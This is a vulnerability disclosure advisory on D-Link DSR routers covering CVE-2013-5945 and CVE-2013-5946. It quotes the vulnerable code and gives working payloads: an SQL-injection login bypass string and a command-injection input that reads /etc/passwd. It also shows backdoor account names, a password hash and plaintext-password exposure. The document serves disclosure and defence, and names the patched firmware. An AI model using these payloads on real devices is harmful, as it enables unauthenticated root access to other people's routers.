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D-Link DSR Router Remote Root Shell Overview

D-Link DSR Router Remote Root Shell Overview
Posted Dec 7, 2013
Authored by 0_o

This is a brief overview of the unauthenticated non-persistent remote root shell vulnerability in various D-Link DSR routers. Versions affected include D-Link DSR-150 (Firmware < v1.08B44), D-Link DSR-150N (Firmware < v1.05B64), D-Link DSR-250 and DSR-250N (Firmware < v1.08B44), D-Link DSR-500 and DSR-500N (Firmware < v1.08B77), D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77).

tags | advisory, remote, shell, root
advisories | CVE-2013-5945, CVE-2013-5946
MD5 | 06d88b1f171a83bbb10d75321ef81155

D-Link DSR Router Remote Root Shell Overview

Change Mirror Download
#
# CVEs:
# CVE-2013-5945 - Authentication Bypass by SQL-Injection
# CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution
#
# Vulnerable Routers:
# D-Link DSR-150 (Firmware < v1.08B44)
# D-Link DSR-150N (Firmware < v1.05B64)
# D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)
# D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)
# D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)
#
# Download URL:
# http://tsd.dlink.com.tw
#
# Arch:
# mips and armv6l, Linux
#
# Author:
# 0_o -- null_null
# nu11.nu11 [at] yahoo.com
#
# Date:
# 2013-08-18
#
# Purpose:
# Get a non-persistent root shell on your D-Link DSR.
#
# Prerequisites:
# Network access to the router ports 443 and 23.
# !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!
#
#
# A list of identified vulns follows. This list is not exhaustive as I assume
# more vulns are present that just slipped my attention.
# The fact that D-Link implemented a backdoor user (for what reason, please??)
# and just renamed it instead of completely removing it after it was targetted
# by my previous exploit, as well as the triviality of those vulns I found
# makes me suggest that more vulns are present that are comparably easy to
# exploit.
#
# Since 2013-12-03, patches are available for:
# DSR-150: Firmware v1.08B44
# DSR-150N: Firmware v1.05B64
# DSR-250 and DSR-250N: Firmware v1.08B44
# DSR-500 and DSR-500N: Firmware v1.08B77
# DSR-1000 and DSR-1000N: Firmware v1.08B77
# via http://tsd.dlink.com.tw
#
# And now, have a worthwhile read :-)
#


0. Contents:


1. Vulnerability: Authentication Bypass by SQL-Injection
(CVE-2013-5945)
2. Vulnerability: Privilege Escalation by Arbitrary Command Execution
(CVE-2013-5946)
3. Exposure: D-Link backdoor user
4. Vulnerability: Use of weak hash algorithms
5. Exposure: Passwords are stored as plain text in config files
6. Vulnerability: Bad permissions on /etc/shadow



1. Vulnerability: Authentication Bypass by SQL-Injection
(CVE-2013-5945)


* Possible via the global webUI login form.

* File /pfrm2.0/share/lua/5.1/teamf1lualib/login.lua contains:

function login.authenticate(tablename, tableInput)
local username = tableInput["Users.UserName"]
local password = tableInput["Users.Password"]
local cur = db.execute(string.format([[
SELECT *, ROWID AS _ROWID_ FROM %s
WHERE %s = '%s' AND %s = '%s'
]], tablename, "UserName", username, "Password", password))
local result = false
local statusCode = "NONE"
if cur then
local row = cur:fetch({}, "a")
cur:close()
result = row ~= nil
if result == false then
statusCode = "USER_LOGIN_INVALID_PASSWORD"
end
end
return result, statusCode
end

* This function creates an SQL statement of the form:

SELECT * FROM "Users" WHERE "UserName" = 'user' AND "Password" = 'pass';

* Since there is a default admin user account called "admin" around, this is
easily exploitable by providing this to the login form:

username = admin
password = ' or 'a'='a

* ...resulting in this SQL statement:

SELECT *
FROM "Users"
WHERE "UserName" = 'admin'
AND "Password" = '' or 'a'='a';

* Old school SQL injection. Ohh, by the way...

* The same fault can be found in captivePortal.lua
-- FREE NETWORKS FOR EVERYONE --



2. Vulnerability: Privilege Escalation by Arbitrary Command Execution
(CVE-2013-5946)


* Possible from the Tools --> System Check page.

* File /pfrm2.0/var/www/systemCheck.htm contains:

local function runShellCmd(command)
local pipe = io.popen(command .. " 2>&1") -- redirect stderr to stdout
local cmdOutput = pipe:read("*a")
pipe:close()
return cmdOutput
end
if (ButtonType and ButtonType == "ping") then
[...]
local cmd_ping = pingprog .. " " .. ipToPing .. " " .. options1 .. " > " .. pingfile
globalCmdOutput = runShellCmd (cmd_ping)
statusMessage = "Pinging " .. ipToPing
[...]
elseif (ButtonType and ButtonType == "traceroute") then
[...]
local cmd = traceRouteProg .. " " .. ipToTraceRoute .. options
globalCmdOutput = runShellCmd(cmd)
statusMessage = "Traceroute To " .. ipToTraceRoute .. "..."
[...]
elseif (ButtonType and ButtonType == "dnslookup") then
[...]
util.appendDebugOut("Exec = " .. os.execute(nsLookupProg .. " " .. internetNameToNsLookup .. " > " .. nsLookupFile))
statusMessage = "DNS Lookup for " .. internetNameToNsLookup
[...]

* Command injection is possible in at least these form sections:

Ping or Trace an IP Address
Perform a DNS Lookup

* When using a browser, deactivate the "onclick" JavaScript checks using
a tool like Firebug. Tools like curl are not hindered by these checks.

* All forms allow input like this:

localhost;<command>

example:

localhost;cat /etc/passwd

* This user provided value is then directly used as part of the input for the
call to runShellCmd(c) and thus io.popen(c) in the first form section and
os.execute(c) in the second form section.

* Output from user provided commands gets displayed on the next page beneath
the benign command output.

example:

[...]
<textarea rows="15" name="S1" cols="60" wrap="off" class="txtbox1">
traceroute to localhost (127.0.0.1), 10 hops max, 40 byte packets
1 localhost (127.0.0.1) 0.429 ms 0.255 ms 0.224 ms
root:!:0:0:root:/root:/bin/sh
gkJ9232xXyruTRmY:$1$MqlhcYXP$CC3cvqpCg0RJAzV85LSeO0:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/nonexistent:/bin/false
ZX4q9Q9JUpwTZuo7:x:0:2:Linux User,,,:/home/ZX4q9Q9JUpwTZuo7:/bin/sh
guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh
admin:x:0:2:Linux User,,,:/home/admin:/bin/sh
</textarea>
[...]



3. Exposure: D-Link backdoor user:


* This was the contents of my /etc/passwd after I upgraded to 1.08B39_WW:

root:!:0:0:root:/root:/bin/sh
gkJ9232xXyruTRmY:$1$MqlhcYXP$CC3cvqpCg0RJAzV85LSeO0:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/nonexistent:/bin/false
ZX4q9Q9JUpwTZuo7:x:0:2:Linux User,,,:/home/ZX4q9Q9JUpwTZuo7:/bin/sh
guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh
admin:x:0:2:Linux User,,,:/home/admin:/bin/sh

* You can see the old D-Link backdoor user name "ZX4q9Q9JUpwTZuo7".
That was the account I hacked before with my previous exploit:
http://www.exploit-db.com/papers/22930/
And there is a new backdoor user "gkJ9232xXyruTRmY" introduced.
Instead of removing the backdoor, D-Link just created a new one.

* I verified this by showing the /etc/profile:

# /etc/profile
LD_LIBRARY_PATH=.:/pfrm2.0/lib:/lib
PATH=.:/pfrm2.0/bin:$PATH
CLISH_PATH=/etc/clish
export PATH LD_LIBRARY_PATH CLISH_PATH
# redirect all users except root to CLI
if [ "$USER" != "gkJ9232xXyruTRmY" ] ; then
trap "/bin/login" SIGINT
trap "" SIGTSTP
/pfrm2.0/bin/cli
exit
fi
PS1='DSR-250N> '



4. Vulnerability: Use of weak hash algorithms:


* In the /etc/shadow, salted DES hashes are used to store user passwords.
Since this hash type supports at most 8 characters, users can log in by just
typing the first 8 letters of their passwords when using SSH or telnet.

* An effective password length limitation of 8 characters makes brute force
attacks on user accounts very feasible, even if the user chose a longer
password.



5. Exposure: Passwords are stored as plain text in config files:


* A lookup into the system config file /tmp/teamf1.cfg.ascii, from which the
/tmp/system.db is built on boot time, reveals that all user passwords are
stored in plain text.

Example:

[...]
Users = {}
Users[1] = {}
Users[1]["Capabilities"] = ""
Users[1]["DefaultUser"] = "1"
Users[1]["UserId"] = "1"
Users[1]["FirstName"] = "backdoor"
Users[1]["OID"] = "0"
Users[1]["GroupId"] = "1"
Users[1]["UserName"] = "gkJ9232xXyruTRmY"
Users[1]["Password"] = "thisobviouslyisafakepass"
Users[1]["UserTimeOut"] = "10"
Users[1]["_ROWID_"] = "1"
Users[1]["LastName"] = "ssl"
[...]



6. Vulnerability: Bad permissions on /etc/shadow


* This file should have 600 permissions set and not 644. It is world readable.
Pointless, since every process runs as root, no user separation is
done anyway.

DSR-250N> ls -l -a /etc/shadow
-rw-r--r-- 1 root root 115 Sep 27 15:07 /etc/shadow
DSR-250N> ps
PID USER VSZ STAT COMMAND
1 root 2700 S init
2 root 0 SW< [kthreadd]
3 root 0 SW< [ksoftirqd/0]
4 root 0 SW< [events/0]
5 root 0 SW< [khelper]
8 root 0 SW< [async/mgr]
111 root 0 SW< [kblockd/0]
120 root 0 SW< [khubd]
123 root 0 SW< [kseriod]
128 root 0 SW< [kslowd]
129 root 0 SW< [kslowd]
150 root 0 SW [pdflush]
151 root 0 SW [pdflush]
152 root 0 SW< [kswapd0]
200 root 0 SW< [aio/0]
210 root 0 SW< [nfsiod]
220 root 0 SW< [crypto/0]
230 root 0 SW< [cns3xxx_spi.0]
781 root 0 SW< [mtdblockd]
860 root 0 SW< [usbhid_resumer]
874 root 0 SW< [rpciod/0]
903 root 0 SWN [jffs2_gcd_mtd4]
909 root 0 SWN [jffs2_gcd_mtd5]
918 root 3596 S unionfs -s -o cow,nonempty,allow_other /rw_pfrm2.0=R
999 root 1816 S < /pfrm2.0/udev/sbin/udevd --daemon
1002 root 2988 S /pfrm2.0/bin/platformd /tmp/system.db
1003 root 3120 S /pfrm2.0/bin/evtDsptchd /tmp/system.db
1049 root 2704 S /usr/sbin/telnetd -l /bin/login
1097 root 4560 S /pfrm2.0/bin/wlanClientArlFlushd
1141 root 37000 S /pfrm2.0/bin/sshd
1154 root 3068 S /pfrm2.0/bin/linkStatusDetect /tmp/system.db WAN1 5
1255 root 3148 S /pfrm2.0/bin/nimfd /tmp/system.db
1259 root 3068 S /pfrm2.0/bin/linkStatusDetect /tmp/system.db WAN2 5
1375 root 3588 S /pfrm2.0/bin/firewalld /tmp/system.db
1560 root 0 SW< [key_timehandler]
1598 root 7776 S /pfrm2.0/bin/racoon -a 8787 -f /var/racoon_path.conf
1600 root 8036 S rvgd /tmp/system.db
1612 root 0 SW [cavium]
1621 root 8424 S vpnKAd /tmp/system.db
1685 root 5372 S /pfrm2.0/sslvpn/bin/firebase -d
1702 root 5016 S /pfrm2.0/sslvpn/bin/smm -d
1711 root 6052 S /pfrm2.0/sslvpn/bin/httpd
1712 root 2700 S /bin/sh /var/sslvpn/var/httpdKeepAlive.sh
1771 root 2680 S /pfrm2.0/bin/statusD
1933 root 3092 S /pfrm2.0/bin/loggingd /tmp/system.db
1960 root 5284 S /pfrm2.0/bin/radEap -d /tmp/system.db
1962 root 2988 S /pfrm2.0/bin/rebootd /tmp/system.db
2004 root 2988 S /pfrm2.0/bin/crond /tmp/system.db
2008 root 3260 S /pfrm2.0/bin/ntpd /tmp/system.db
2196 root 3128 S /pfrm2.0/bin/intelAmtd /tmp/system.db
2205 root 1904 S /pfrm2.0/bin/fReset
2311 root 2704 S /bin/sh /pfrm2.0/bin/release_cache.sh
2312 root 2704 S /sbin/getty -L ttyS0 115200 vt100
2463 root 3964 S /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg30 -lf /va
2481 root 3964 S /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg50 -lf /va
3355 root 1768 S /pfrm2.0/bin/rt2860apd
3443 root 4116 S /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg40 -lf /va
3451 root 4116 S /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg20 -lf /va
3457 root 3964 S /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg1 -lf /var
3484 root 7836 S /pfrm2.0/bin/snmpd -p /var/run/snmp.pid
3518 root 4424 S /pfrm2.0/bin/openvpn --config /var/openvpn/openvpn.c
3630 root 1928 S /pfrm2.0/bin/dnsmasq --dns-forward-max=10000 --addn-
5353 root 2704 S -sh
7877 root 2568 S sleep 60
7953 root 2568 S sleep 60
8008 root 2704 R ps
16749 root 2704 S -sh
25690 root 0 SW< [RtmpCmdQTask]
25692 root 0 SW< [RtmpWscTask]
DSR-250N>

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